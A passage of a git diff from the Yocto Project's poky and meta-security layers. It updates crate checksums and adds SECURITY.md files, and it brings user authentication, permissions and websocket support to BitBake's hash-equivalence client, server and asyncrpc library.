-SRC_URI[walkdir-2.3.2.sha256sum] = "808cf2735cd4b6866113f648b791c6adc5714537bc222d9347bb203386ffda56"
-SRC_URI[wasm-bindgen-0.2.84.sha256sum] = "31f8dcbc21f30d9b8f2ea926ecb58f6b91192c17e9d33594b3df58b2007ca53b"
-SRC_URI[wasm-bindgen-backend-0.2.84.sha256sum] = "95ce90fd5bcc06af55a641a86428ee4229e44e07033963a2290a8e241607ccb9"
-SRC_URI[wasm-bindgen-macro-0.2.84.sha256sum] = "4c21f77c0bedc37fd5dc21f897894a5ca01e7bb159884559461862ae90c0b4c5"
-SRC_URI[wasm-bindgen-macro-support-0.2.84.sha256sum] = "2aff81306fcac3c7515ad4e177f521b5c9a15f2b08f4e32d823066102f35a5f6"
-SRC_URI[wasm-bindgen-shared-0.2.84.sha256sum] = "0046fef7e28c3804e5e38bfa31ea2a0f73905319b677e57ebe37e49358989b5d"
-SRC_URI[web-sys-0.3.61.sha256sum] = "e33b99f4b23ba3eec1a53ac264e35a755f00e966e0065077d6027c0f575b0b97"
+SRC_URI[walkdir-2.4.0.sha256sum] = "d71d857dc86794ca4c280d616f7da00d2dbfd8cd788846559a6813e6aa4b54ee"
+SRC_URI[wasm-bindgen-0.2.87.sha256sum] = "7706a72ab36d8cb1f80ffbf0e071533974a60d0a308d01a5d0375bf60499a342"
+SRC_URI[wasm-bindgen-backend-0.2.87.sha256sum] = "5ef2b6d3c510e9625e5fe6f509ab07d66a760f0885d858736483c32ed7809abd"
+SRC_URI[wasm-bindgen-macro-0.2.87.sha256sum] = "dee495e55982a3bd48105a7b947fd2a9b4a8ae3010041b9e0faab3f9cd028f1d"
+SRC_URI[wasm-bindgen-macro-support-0.2.87.sha256sum] = "54681b18a46765f095758388f2d0cf16eb8d4169b639ab575a8f5693af210c7b"
+SRC_URI[wasm-bindgen-shared-0.2.87.sha256sum] = "ca6ad05a4870b2bf5fe995117d3728437bd27d7cd5f06f13c17443ef369775a1"
+SRC_URI[web-sys-0.3.64.sha256sum] = "9b85cbef8c220a6abc02aefd892dfc0fc23afb1c6a426316ec33253a3877249b"
SRC_URI[winapi-0.3.9.sha256sum] = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419"
SRC_URI[winapi-i686-pc-windows-gnu-0.4.0.sha256sum] = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6"
-SRC_URI[winapi-util-0.1.5.sha256sum] = "70ec6ce85bb158151cae5e5c87f95a8e97d2c0c4b001223f33a334e3ce5de178"
+SRC_URI[winapi-util-0.1.6.sha256sum] = "f29e6f9198ba0d26b4c9f07dbe6f9ed633e1f3d5b8b414090084349e46a52596"
SRC_URI[winapi-x86_64-pc-windows-gnu-0.4.0.sha256sum] = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
+SRC_URI[windows-sys-0.48.0.sha256sum] = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9"
+SRC_URI[windows-targets-0.48.5.sha256sum] = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c"
+SRC_URI[windows_aarch64_gnullvm-0.48.5.sha256sum] = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8"
+SRC_URI[windows_aarch64_msvc-0.48.5.sha256sum] = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc"
+SRC_URI[windows_i686_gnu-0.48.5.sha256sum] = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e"
+SRC_URI[windows_i686_msvc-0.48.5.sha256sum] = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406"
+SRC_URI[windows_x86_64_gnu-0.48.5.sha256sum] = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e"
+SRC_URI[windows_x86_64_gnullvm-0.48.5.sha256sum] = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc"
+SRC_URI[windows_x86_64_msvc-0.48.5.sha256sum] = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538"
SRC_URI[x509-parser-0.13.2.sha256sum] = "9fb9bace5b5589ffead1afb76e43e34cff39cd0f3ce7e170ae0c29e53b88eb1c"
SRC_URI[yasna-0.4.0.sha256sum] = "e262a29d0e61ccf2b6190d7050d4b237535fc76ce4c1210d9caa316f71dffa75"
-SRC_URI[yasna-0.5.1.sha256sum] = "aed2e7a52e3744ab4d0c05c20aa065258e84c49fd4226f5191b2ed29712710b4"
-SRC_URI[zeroize-1.5.7.sha256sum] = "c394b5bd0c6f669e7275d9c20aa90ae064cb22e75a1cad54e1b34088034b149f"
-SRC_URI[zeroize_derive-1.3.3.sha256sum] = "44bf07cb3e50ea2003396695d58bf46bc9887a1f362260446fad6bc4e79bd36c"
+SRC_URI[yasna-0.5.2.sha256sum] = "e17bb3549cc1321ae1296b9cdc2698e2b6cb1992adfa19a8c72e5b7a738f44cd"
+SRC_URI[zeroize-1.6.0.sha256sum] = "2a0956f1ba7c7909bfb66c2e9e4124ab6f6482560f6628b5aaeba39207c9aad9"
+SRC_URI[zeroize_derive-1.4.2.sha256sum] = "ce36e65b0d2999d2aafac989fb249189a141aee1f53c612c1f37d72631959f69"
diff --git a/meta-security/meta-parsec/recipes-parsec/parsec-tool/parsec-tool_0.6.0.bb b/meta-security/meta-parsec/recipes-parsec/parsec-tool/parsec-tool_0.7.0.bb
index f3f7486472..26e4d803da 100644
--- a/meta-security/meta-parsec/recipes-parsec/parsec-tool/parsec-tool_0.6.0.bb
+++ b/meta-security/meta-parsec/recipes-parsec/parsec-tool/parsec-tool_0.7.0.bb
@@ -7,7 +7,7 @@ inherit cargo cargo-update-recipe-crates
SRC_URI += "crate://crates.io/parsec-tool/${PV} \
"
-SRC_URI[parsec-tool-0.6.0.sha256sum] = "f51d5d7f0caca1c335324b52482fa5edbf6c9cfd2e6865e5cb22716d52dcb367"
+SRC_URI[parsec-tool-0.7.0.sha256sum] = "76afb4416d04c5af9f81285dfff390b09c6926aabd6b4ee20dc07470a9698732"
B = "${CARGO_VENDORING_DIRECTORY}/${BP}"
diff --git a/meta-security/recipes-ids/samhain/samhain.inc b/meta-security/recipes-ids/samhain/samhain.inc
index 2788bc3e6c..f5bea1de6b 100644
--- a/meta-security/recipes-ids/samhain/samhain.inc
+++ b/meta-security/recipes-ids/samhain/samhain.inc
@@ -59,6 +59,7 @@ PACKAGECONFIG[acl] = " --enable-posix-acl , --disable-posix-acl, acl"
PACKAGECONFIG[audit] = "ac_cv_header_auparse_h=yes,ac_cv_header_auparse_h=no,audit"
PACKAGECONFIG[ps] = "--with-ps-path=${base_bindir}/ps,,,procps"
+EXTRA_OECONF += "INSTALL='install -p'"
EXTRA_OEMAKE:append:aarch64 = " CPPFLAGS+=-DCONFIG_ARCH_AARCH64=1"
EXTRA_OEMAKE:append:mips64 = " CPPFLAGS+=-DCONFIG_ARCH_MIPS64=1"
@@ -89,6 +90,9 @@ ssp_cv_lib=no
sh_cv_va_copy=yes
EOF
export CONFIG_SITE=${S}/config-site.${BP}
+ # remove the buildpath
+ sed -i -e 's;mydefarg;mydefargholder;g' ${S}/scripts/samhain.ebuild.in
+ sed -i -e 's;mydefarg;mydefargholder;g' ${S}/scripts/samhain.ebuild-light.in
}
do_configure () {
diff --git a/poky/.gitignore b/poky/.gitignore
index 8f48d452da..f6ce090b5f 100644
--- a/poky/.gitignore
+++ b/poky/.gitignore
@@ -36,3 +36,5 @@ _toaster_clones/
downloads/
sstate-cache/
toaster.sqlite
+.vscode/
+vscode-bitbake-build/
diff --git a/poky/.vscode/settings.json b/poky/.vscode/settings.json
new file mode 100644
index 0000000000..517a86d1bf
--- /dev/null
+++ b/poky/.vscode/settings.json
@@ -0,0 +1,32 @@
+{
+ "files.watcherExclude": {
+ "**/.git/**": true,
+ "**/cache/**": true,
+ "**/tmp*/**": true,
+ "**/downloads/**": true,
+ "**/sstate-cache/**": true,
+ "**/vscode-bitbake-build/**": true,
+ "**/workspace/sources/**": true,
+ "**/workspace/attic/**": true
+ },
+ "files.exclude": {
+ "**/.git/**": true,
+ "**/cache/**": true,
+ "**/tmp*/**": true,
+ "**/downloads/**": true,
+ "**/sstate-cache/**": true,
+ "**/vscode-bitbake-build/**": true,
+ "**/workspace/sources/**": true,
+ "**/workspace/attic/**": true
+ },
+ "python.analysis.exclude": [
+ "**/.git/**",
+ "**/cache/**",
+ "**/tmp*/**",
+ "**/downloads/**",
+ "**/sstate-cache/**",
+ "**/vscode-bitbake-build/**",
+ "**/workspace/sources/**",
+ "**/workspace/attic/**"
+ ]
+}
diff --git a/poky/SECURITY.md b/poky/SECURITY.md
new file mode 100644
index 0000000000..1b63da4f69
--- /dev/null
+++ b/poky/SECURITY.md
@@ -0,0 +1,22 @@
+How to Report a Potential Vulnerability?
+========================================
+
+If you would like to report a public issue (for example, one with a released
+CVE number), please report it using the
+[https://bugzilla.yoctoproject.org/enter_bug.cgi?product=Security Security Bugzilla]
+
+If you are dealing with a not-yet released or urgent issue, please send a
+message to security AT yoctoproject DOT org, including as many details as
+possible: the layer or software module affected, the recipe and its version,
+and any example code, if available.
+
+Branches maintained with security fixes
+---------------------------------------
+
+See [https://wiki.yoctoproject.org/wiki/Stable_Release_and_LTS Stable release and LTS]
+for detailed info regarding the policies and maintenance of Stable branches.
+
+The [https://wiki.yoctoproject.org/wiki/Releases Release page] contains a list of all
+releases of the Yocto Project. Versions in grey are no longer actively maintained with
+security patches, but well-tested patches may still be accepted for them for
+significant issues.
diff --git a/poky/bitbake/SECURITY.md b/poky/bitbake/SECURITY.md
new file mode 100644
index 0000000000..7d2ce1f631
--- /dev/null
+++ b/poky/bitbake/SECURITY.md
@@ -0,0 +1,24 @@
+How to Report a Potential Vulnerability?
+========================================
+
+If you would like to report a public issue (for example, one with a released
+CVE number), please report it using the
+[https://bugzilla.yoctoproject.org/enter_bug.cgi?product=Security Security Bugzilla].
+If you have a patch ready, submit it following the same procedure as any other
+patch as described in README.md.
+
+If you are dealing with a not-yet released or urgent issue, please send a
+message to security AT yoctoproject DOT org, including as many details as
+possible: the layer or software module affected, the recipe and its version,
+and any example code, if available.
+
+Branches maintained with security fixes
+---------------------------------------
+
+See [https://wiki.yoctoproject.org/wiki/Stable_Release_and_LTS Stable release and LTS]
+for detailed info regarding the policies and maintenance of Stable branches.
+
+The [https://wiki.yoctoproject.org/wiki/Releases Release page] contains a list of all
+releases of the Yocto Project. Versions in grey are no longer actively maintained with
+security patches, but well-tested patches may still be accepted for them for
+significant issues.
diff --git a/poky/bitbake/bin/bitbake-hashclient b/poky/bitbake/bin/bitbake-hashclient
index 3f265e8fa7..3ff7b76378 100755
--- a/poky/bitbake/bin/bitbake-hashclient
+++ b/poky/bitbake/bin/bitbake-hashclient
@@ -14,6 +14,8 @@ import sys
import threading
import time
import warnings
+import netrc
+import json
warnings.simplefilter("default")
try:
@@ -36,10 +38,18 @@ except ImportError:
sys.path.insert(0, os.path.join(os.path.dirname(os.path.dirname(__file__)), 'lib'))
import hashserv
+import bb.asyncrpc
DEFAULT_ADDRESS = 'unix://./hashserve.sock'
METHOD = 'stress.test.method'
+def print_user(u):
+ print(f"Username: {u['username']}")
+ if "permissions" in u:
+ print("Permissions: " + " ".join(u["permissions"]))
+ if "token" in u:
+ print(f"Token: {u['token']}")
+
def main():
def handle_stats(args, client):
@@ -47,7 +57,7 @@ def main():
s = client.reset_stats()
else:
s = client.get_stats()
- pprint.pprint(s)
+ print(json.dumps(s, sort_keys=True, indent=4))
return 0
def handle_stress(args, client):
@@ -56,25 +66,24 @@ def main():
nonlocal missed_hashes
nonlocal max_time
- client = hashserv.create_client(args.address)
-
- for i in range(args.requests):
- taskhash = hashlib.sha256()
- taskhash.update(args.taskhash_seed.encode('utf-8'))
- taskhash.update(str(i).encode('utf-8'))
+ with hashserv.create_client(args.address) as client:
+ for i in range(args.requests):
+ taskhash = hashlib.sha256()
+ taskhash.update(args.taskhash_seed.encode('utf-8'))
+ taskhash.update(str(i).encode('utf-8'))
- start_time = time.perf_counter()
- l = client.get_unihash(METHOD, taskhash.hexdigest())
- elapsed = time.perf_counter() - start_time
+ start_time = time.perf_counter()
+ l = client.get_unihash(METHOD, taskhash.hexdigest())
+ elapsed = time.perf_counter() - start_time
- with lock:
- if l:
- found_hashes += 1
- else:
- missed_hashes += 1
+ with lock:
+ if l:
+ found_hashes += 1
+ else:
+ missed_hashes += 1
- max_time = max(elapsed, max_time)
- pbar.update()
+ max_time = max(elapsed, max_time)
+ pbar.update()
max_time = 0
found_hashes = 0
@@ -126,9 +135,57 @@ def main():
print("Removed %d rows" % (result["count"]))
return 0
+ def handle_refresh_token(args, client):
+ r = client.refresh_token(args.username)
+ print_user(r)
+
+ def handle_set_user_permissions(args, client):
+ r = client.set_user_perms(args.username, args.permissions)
+ print_user(r)
+
+ def handle_get_user(args, client):
+ r = client.get_user(args.username)
+ print_user(r)
+
+ def handle_get_all_users(args, client):
+ users = client.get_all_users()
+ print("{username:20}| {permissions}".format(username="Username", permissions="Permissions"))
+ print(("-" * 20) + "+" + ("-" * 20))
+ for u in users:
+ print("{username:20}| {permissions}".format(username=u["username"], permissions=" ".join(u["permissions"])))
+
+ def handle_new_user(args, client):
+ r = client.new_user(args.username, args.permissions)
+ print_user(r)
+
+ def handle_delete_user(args, client):
+ r = client.delete_user(args.username)
+ print_user(r)
+
+ def handle_get_db_usage(args, client):
+ usage = client.get_db_usage()
+ print(usage)
+ tables = sorted(usage.keys())
+ print("{name:20}| {rows:20}".format(name="Table name", rows="Rows"))
+ print(("-" * 20) + "+" + ("-" * 20))
+ for t in tables:
+ print("{name:20}| {rows:<20}".format(name=t, rows=usage[t]["rows"]))
+ print()
+
+ total_rows = sum(t["rows"] for t in usage.values())
+ print(f"Total rows: {total_rows}")
+
+ def handle_get_db_query_columns(args, client):
+ columns = client.get_db_query_columns()
+ print("\n".join(sorted(columns)))
+
parser = argparse.ArgumentParser(description='Hash Equivalence Client')
parser.add_argument('--address', default=DEFAULT_ADDRESS, help='Server address (default "%(default)s")')
parser.add_argument('--log', default='WARNING', help='Set logging level')
+ parser.add_argument('--login', '-l', metavar="USERNAME", help="Authenticate as USERNAME")
+ parser.add_argument('--password', '-p', metavar="TOKEN", help="Authenticate using token TOKEN")
+ parser.add_argument('--become', '-b', metavar="USERNAME", help="Impersonate user USERNAME (if allowed) when performing actions")
+ parser.add_argument('--no-netrc', '-n', action="store_false", dest="netrc", help="Do not use .netrc")
subparsers = parser.add_subparsers()
@@ -159,6 +216,37 @@ def main():
clean_unused_parser.add_argument("max_age", metavar="SECONDS", type=int, help="Remove unused entries older than SECONDS old")
clean_unused_parser.set_defaults(func=handle_clean_unused)
+ refresh_token_parser = subparsers.add_parser('refresh-token', help="Refresh auth token")
+ refresh_token_parser.add_argument("--username", "-u", help="Refresh the token for another user (if authorized)")
+ refresh_token_parser.set_defaults(func=handle_refresh_token)
+
+ set_user_perms_parser = subparsers.add_parser('set-user-perms', help="Set new permissions for user")
+ set_user_perms_parser.add_argument("--username", "-u", help="Username", required=True)
+ set_user_perms_parser.add_argument("permissions", metavar="PERM", nargs="*", default=[], help="New permissions")
+ set_user_perms_parser.set_defaults(func=handle_set_user_permissions)
+
+ get_user_parser = subparsers.add_parser('get-user', help="Get user")
+ get_user_parser.add_argument("--username", "-u", help="Username")
+ get_user_parser.set_defaults(func=handle_get_user)
+
+ get_all_users_parser = subparsers.add_parser('get-all-users', help="List all users")
+ get_all_users_parser.set_defaults(func=handle_get_all_users)
+
+ new_user_parser = subparsers.add_parser('new-user', help="Create new user")
+ new_user_parser.add_argument("--username", "-u", help="Username", required=True)
+ new_user_parser.add_argument("permissions", metavar="PERM", nargs="*", default=[], help="New permissions")
+ new_user_parser.set_defaults(func=handle_new_user)
+
+ delete_user_parser = subparsers.add_parser('delete-user', help="Delete user")
+ delete_user_parser.add_argument("--username", "-u", help="Username", required=True)
+ delete_user_parser.set_defaults(func=handle_delete_user)
+
+ db_usage_parser = subparsers.add_parser('get-db-usage', help="Database Usage")
+ db_usage_parser.set_defaults(func=handle_get_db_usage)
+
+ db_query_columns_parser = subparsers.add_parser('get-db-query-columns', help="Show columns that can be used in database queries")
+ db_query_columns_parser.set_defaults(func=handle_get_db_query_columns)
+
args = parser.parse_args()
logger = logging.getLogger('hashserv')
@@ -172,11 +260,28 @@ def main():
console.setLevel(level)
logger.addHandler(console)
+ login = args.login
+ password = args.password
+
+ if login is None and args.netrc:
+ try:
+ n = netrc.netrc()
+ auth = n.authenticators(args.address)
+ if auth is not None:
+ login, _, password = auth
+ except FileNotFoundError:
+ pass
+
func = getattr(args, 'func', None)
if func:
- client = hashserv.create_client(args.address)
-
- return func(args, client)
+ try:
+ with hashserv.create_client(args.address, login, password) as client:
+ if args.become:
+ client.become_user(args.become)
+ return func(args, client)
+ except bb.asyncrpc.InvokeError as e:
+ print(f"ERROR: {e}")
+ return 1
return 0
diff --git a/poky/bitbake/bin/bitbake-hashserv b/poky/bitbake/bin/bitbake-hashserv
index 00af76b2d1..c560b3e58a 100755
--- a/poky/bitbake/bin/bitbake-hashserv
+++ b/poky/bitbake/bin/bitbake-hashserv
@@ -11,56 +11,148 @@ import logging
import argparse
import sqlite3
import warnings
+
warnings.simplefilter("default")
-sys.path.insert(0, os.path.join(os.path.dirname(os.path.dirname(__file__)), 'lib'))
+sys.path.insert(0, os.path.join(os.path.dirname(os.path.dirname(__file__)), "lib"))
import hashserv
+from hashserv.server import DEFAULT_ANON_PERMS
VERSION = "1.0.0"
-DEFAULT_BIND = 'unix://./hashserve.sock'
+DEFAULT_BIND = "unix://./hashserve.sock"
def main():
- parser = argparse.ArgumentParser(description='Hash Equivalence Reference Server. Version=%s' % VERSION,
- epilog='''The bind address is the path to a unix domain socket if it is
- prefixed with "unix://". Otherwise, it is an IP address
- and port in form ADDRESS:PORT. To bind to all addresses, leave
- the ADDRESS empty, e.g. "--bind :8686". To bind to a specific
- IPv6 address, enclose the address in "[]", e.g.
- "--bind [::1]:8686"'''
- )
-
- parser.add_argument('-b', '--bind', default=DEFAULT_BIND, help='Bind address (default "%(default)s")')
- parser.add_argument('-d', '--database', default='./hashserv.db', help='Database file (default "%(default)s")')
- parser.add_argument('-l', '--log', default='WARNING', help='Set logging level')
- parser.add_argument('-u', '--upstream', help='Upstream hashserv to pull hashes from')
- parser.add_argument('-r', '--read-only', action='store_true', help='Disallow write operations from clients')
+ parser = argparse.ArgumentParser(
+ description="Hash Equivalence Reference Server. Version=%s" % VERSION,
+ formatter_class=argparse.RawTextHelpFormatter,
+ epilog="""
+The bind address may take one of the following formats:
+ unix://PATH - Bind to unix domain socket at PATH
+ ws://ADDRESS:PORT - Bind to websocket on ADDRESS:PORT
+ ADDRESS:PORT - Bind to raw TCP socket on ADDRESS:PORT
+
+To bind to all addresses, leave the ADDRESS empty, e.g. "--bind :8686" or
+"--bind ws://:8686". To bind to a specific IPv6 address, enclose the address in
+"[]", e.g. "--bind [::1]:8686" or "--bind ws://[::1]:8686"
+
+Note that the default Anonymous permissions are designed to not break existing
+server instances when upgrading, but are not particularly secure defaults. If
+you want to use authentication, it is recommended that you use "--anon-perms
+@read" to only give anonymous users read access, or "--anon-perms @none" to
+give un-authenticated users no access at all.
+
+Setting "--anon-perms @all" or "--anon-perms @user-admin" is not allowed, since
+this would allow anonymous users to manage all users accounts, which is a bad
+idea.
+
+If you are using user authentication, you should run your server in websockets
+mode with an SSL terminating load balancer in front of it (as this server does
+not implement SSL). Otherwise all usernames and passwords will be transmitted
+in the clear. When configured this way, clients can connect using a secure
+websocket, as in "wss://SERVER:PORT"
+ """,
+ )
+
+ parser.add_argument(
+ "-b",
+ "--bind",
+ default=os.environ.get("HASHSERVER_BIND", DEFAULT_BIND),
+ help='Bind address (default $HASHSERVER_BIND, "%(default)s")',
+ )
+ parser.add_argument(
+ "-d",
+ "--database",
+ default=os.environ.get("HASHSERVER_DB", "./hashserv.db"),
+ help='Database file (default $HASHSERVER_DB, "%(default)s")',
+ )
+ parser.add_argument(
+ "-l",
+ "--log",
+ default=os.environ.get("HASHSERVER_LOG_LEVEL", "WARNING"),
+ help='Set logging level (default $HASHSERVER_LOG_LEVEL, "%(default)s")',
+ )
+ parser.add_argument(
+ "-u",
+ "--upstream",
+ default=os.environ.get("HASHSERVER_UPSTREAM", None),
+ help="Upstream hashserv to pull hashes from ($HASHSERVER_UPSTREAM)",
+ )
+ parser.add_argument(
+ "-r",
+ "--read-only",
+ action="store_true",
+ help="Disallow write operations from clients ($HASHSERVER_READ_ONLY)",
+ )
+ parser.add_argument(
+ "--db-username",
+ default=os.environ.get("HASHSERVER_DB_USERNAME", None),
+ help="Database username ($HASHSERVER_DB_USERNAME)",
+ )
+ parser.add_argument(
+ "--db-password",
+ default=os.environ.get("HASHSERVER_DB_PASSWORD", None),
+ help="Database password ($HASHSERVER_DB_PASSWORD)",
+ )
+ parser.add_argument(
+ "--anon-perms",
+ metavar="PERM[,PERM[,...]]",
+ default=os.environ.get("HASHSERVER_ANON_PERMS", ",".join(DEFAULT_ANON_PERMS)),
+ help='Permissions to give anonymous users (default $HASHSERVER_ANON_PERMS, "%(default)s")',
+ )
+ parser.add_argument(
+ "--admin-user",
+ default=os.environ.get("HASHSERVER_ADMIN_USER", None),
+ help="Create default admin user with name ADMIN_USER ($HASHSERVER_ADMIN_USER)",
+ )
+ parser.add_argument(
+ "--admin-password",
+ default=os.environ.get("HASHSERVER_ADMIN_PASSWORD", None),
+ help="Create default admin user with password ADMIN_PASSWORD ($HASHSERVER_ADMIN_PASSWORD)",
+ )
args = parser.parse_args()
- logger = logging.getLogger('hashserv')
+ logger = logging.getLogger("hashserv")
level = getattr(logging, args.log.upper(), None)
if not isinstance(level, int):
- raise ValueError('Invalid log level: %s' % args.log)
+ raise ValueError("Invalid log level: %s" % args.log)
logger.setLevel(level)
console = logging.StreamHandler()
console.setLevel(level)
logger.addHandler(console)
- server = hashserv.create_server(args.bind, args.database, upstream=args.upstream, read_only=args.read_only)
+ read_only = (os.environ.get("HASHSERVER_READ_ONLY", "0") == "1") or args.read_only
+ if "," in args.anon_perms:
+ anon_perms = args.anon_perms.split(",")
+ else:
+ anon_perms = args.anon_perms.split()
+
+ server = hashserv.create_server(
+ args.bind,
+ args.database,
+ upstream=args.upstream,
+ read_only=read_only,
+ db_username=args.db_username,
+ db_password=args.db_password,
+ anon_perms=anon_perms,
+ admin_username=args.admin_user,
+ admin_password=args.admin_password,
+ )
server.serve_forever()
return 0
-if __name__ == '__main__':
+if __name__ == "__main__":
try:
ret = main()
except Exception:
ret = 1
import traceback
+
traceback.print_exc()
sys.exit(ret)
diff --git a/poky/bitbake/bin/bitbake-worker b/poky/bitbake/bin/bitbake-worker
index 609e276fe2..eba9c562c7 100755
--- a/poky/bitbake/bin/bitbake-worker
+++ b/poky/bitbake/bin/bitbake-worker
@@ -433,18 +433,30 @@ class BitbakeWorker(object):
while self.process_waitpid():
continue
-
def handle_item(self, item, func):
- if self.queue.startswith(b"<" + item + b">"):
- index = self.queue.find(b"</" + item + b">")
- while index != -1:
- try:
- func(self.queue[(len(item) + 2):index])
- except pickle.UnpicklingError:
- workerlog_write("Unable to unpickle data: %s\n" % ":".join("{:02x}".format(c) for c in self.queue))
- raise
- self.queue = self.queue[(index + len(item) + 3):]
- index = self.queue.find(b"</" + item + b">")
+ opening_tag = b"<" + item + b">"
+ if not self.queue.startswith(opening_tag):
+ return
+
+ tag_len = len(opening_tag)
+ if len(self.queue) < tag_len + 4:
+ # we need to receive more data
+ return
+ header = self.queue[tag_len:tag_len + 4]
+ payload_len = int.from_bytes(header, 'big')
+ # closing tag has length (tag_len + 1)
+ if len(self.queue) < tag_len * 2 + 1 + payload_len:
+ # we need to receive more data
+ return
+
+ index = self.queue.find(b"</" + item + b">")
+ if index != -1:
+ try:
+ func(self.queue[(tag_len + 4):index])
+ except pickle.UnpicklingError:
+ workerlog_write("Unable to unpickle data: %s\n" % ":".join("{:02x}".format(c) for c in self.queue))
+ raise
+ self.queue = self.queue[(index + len(b"</") + len(item) + len(b">")):]
def handle_cookercfg(self, data):
self.cookercfg = pickle.loads(data)
diff --git a/poky/bitbake/bin/toaster b/poky/bitbake/bin/toaster
index 558a819570..f002c8c159 100755
--- a/poky/bitbake/bin/toaster
+++ b/poky/bitbake/bin/toaster
@@ -84,7 +84,7 @@ webserverStartAll()
echo "Starting webserver..."
$MANAGE runserver --noreload "$ADDR_PORT" \
- </dev/null >>${BUILDDIR}/toaster_web.log 2>&1 \
+ </dev/null >>${TOASTER_LOGS_DIR}/web.log 2>&1 \
& echo $! >${BUILDDIR}/.toastermain.pid
sleep 1
@@ -181,6 +181,14 @@ WEBSERVER=1
export TOASTER_BUILDSERVER=1
ADDR_PORT="localhost:8000"
TOASTERDIR=`dirname $BUILDDIR`
+# ${BUILDDIR}/toaster_logs/ became the default location for toaster logs
+# This is needed for implemented django-log-viewer: https://pypi.org/project/django-log-viewer/
+# If the directory does not exist, create it.
+TOASTER_LOGS_DIR="${BUILDDIR}/toaster_logs/"
+if [ ! -d $TOASTER_LOGS_DIR ]
+then
+ mkdir $TOASTER_LOGS_DIR
+fi
unset CMD
for param in $*; do
case $param in
@@ -299,7 +307,7 @@ case $CMD in
export BITBAKE_UI='toasterui'
if [ $TOASTER_BUILDSERVER -eq 1 ] ; then
$MANAGE runbuilds \
- </dev/null >>${BUILDDIR}/toaster_runbuilds.log 2>&1 \
+ </dev/null >>${TOASTER_LOGS_DIR}/toaster_runbuilds.log 2>&1 \
& echo $! >${BUILDDIR}/.runbuilds.pid
else
echo "Toaster build server not started."
diff --git a/poky/bitbake/lib/bb/asyncrpc/__init__.py b/poky/bitbake/lib/bb/asyncrpc/__init__.py
index 9a85e9965b..a4371643d7 100644
--- a/poky/bitbake/lib/bb/asyncrpc/__init__.py
+++ b/poky/bitbake/lib/bb/asyncrpc/__init__.py
@@ -4,30 +4,13 @@
# SPDX-License-Identifier: GPL-2.0-only
#
-import itertools
-import json
-
-# The Python async server defaults to a 64K receive buffer, so we hardcode our
-# maximum chunk size. It would be better if the client and server reported to
-# each other what the maximum chunk sizes were, but that will slow down the
-# connection setup with a round trip delay so I'd rather not do that unless it
-# is necessary
-DEFAULT_MAX_CHUNK = 32 * 1024
-
-
-def chunkify(msg, max_chunk):
- if len(msg) < max_chunk - 1:
- yield ''.join((msg, "\n"))
- else:
- yield ''.join((json.dumps({
- 'chunk-stream': None
- }), "\n"))
-
- args = [iter(msg)] * (max_chunk - 1)
- for m in map(''.join, itertools.zip_longest(*args, fillvalue='')):
- yield ''.join(itertools.chain(m, "\n"))
- yield "\n"
-
from .client import AsyncClient, Client
-from .serv import AsyncServer, AsyncServerConnection, ClientError, ServerError
+from .serv import AsyncServer, AsyncServerConnection
+from .connection import DEFAULT_MAX_CHUNK
+from .exceptions import (
+ ClientError,
+ ServerError,
+ ConnectionClosedError,
+ InvokeError,
+)
diff --git a/poky/bitbake/lib/bb/asyncrpc/client.py b/poky/bitbake/lib/bb/asyncrpc/client.py
index fa042bbe87..0d7cd85780 100644
--- a/poky/bitbake/lib/bb/asyncrpc/client.py
+++ b/poky/bitbake/lib/bb/asyncrpc/client.py
@@ -10,13 +10,13 @@ import json
import os
import socket
import sys
-from . import chunkify, DEFAULT_MAX_CHUNK
+from .connection import StreamConnection, WebsocketConnection, DEFAULT_MAX_CHUNK
+from .exceptions import ConnectionClosedError, InvokeError
class AsyncClient(object):
def __init__(self, proto_name, proto_version, logger, timeout=30):
- self.reader = None
- self.writer = None
+ self.socket = None
self.max_chunk = DEFAULT_MAX_CHUNK
self.proto_name = proto_name
self.proto_version = proto_version
@@ -25,7 +25,8 @@ class AsyncClient(object):
async def connect_tcp(self, address, port):
async def connect_sock():
- return await asyncio.open_connection(address, port)
+ reader, writer = await asyncio.open_connection(address, port)
+ return StreamConnection(reader, writer, self.timeout, self.max_chunk)
self._connect_sock = connect_sock
@@ -40,27 +41,39 @@ class AsyncClient(object):
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM, 0)
sock.connect(os.path.basename(path))
finally:
- os.chdir(cwd)
- return await asyncio.open_unix_connection(sock=sock)
+ os.chdir(cwd)
+ reader, writer = await asyncio.open_unix_connection(sock=sock)
+ return StreamConnection(reader, writer, self.timeout, self.max_chunk)
+
+ self._connect_sock = connect_sock
+
+ async def connect_websocket(self, uri):
+ import websockets
+
+ async def connect_sock():
+ websocket = await websockets.connect(uri, ping_interval=None)
+ return WebsocketConnection(websocket, self.timeout)
self._connect_sock = connect_sock
async def setup_connection(self):
- s = '%s %s\n\n' % (self.proto_name, self.proto_version)
- self.writer.write(s.encode("utf-8"))
- await self.writer.drain()
+ # Send headers
+ await self.socket.send("%s %s" % (self.proto_name, self.proto_version))
+ # End of headers
+ await self.socket.send("")
async def connect(self):
- if self.reader is None or self.writer is None:
- (self.reader, self.writer) = await self._connect_sock()
+ if self.socket is None:
+ self.socket = await self._connect_sock()
await self.setup_connection()
- async def close(self):
- self.reader = None
+ async def disconnect(self):
+ if self.socket is not None:
+ await self.socket.close()
+ self.socket = None
- if self.writer is not None:
- self.writer.close()
- self.writer = None
+ async def close(self):
+ await self.disconnect()
async def _send_wrapper(self, proc):
count = 0
@@ -71,6 +84,7 @@ class AsyncClient(object):
except (
OSError,
ConnectionError,
+ ConnectionClosedError,
json.JSONDecodeError,
UnicodeDecodeError,
) as e:
@@ -82,49 +96,27 @@ class AsyncClient(object):
await self.close()
count += 1
- async def send_message(self, msg):
- async def get_line():
